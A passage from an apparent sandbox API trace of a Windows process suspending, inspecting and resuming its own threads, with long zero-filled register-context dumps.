R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f736880, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0152.742] ResumeThread (hThread=0x194) returned 0x1 [0152.742] CloseHandle (hObject=0x194) returned 1 [0152.763] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0152.909] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0152.909] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0153.062] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0153.062] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0153.062] SuspendThread (hThread=0x194) returned 0x0 [0153.062] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000047d00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6fd0e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0153.404] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000047cf8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0153.663] ResumeThread (hThread=0x194) returned 0x1 [0153.665] CloseHandle (hObject=0x194) returned 1 [0153.665] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0153.919] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0153.920] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0153.920] SuspendThread (hThread=0x194) returned 0x0 [0153.921] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f8c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6f7b80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0154.035] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f8c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, 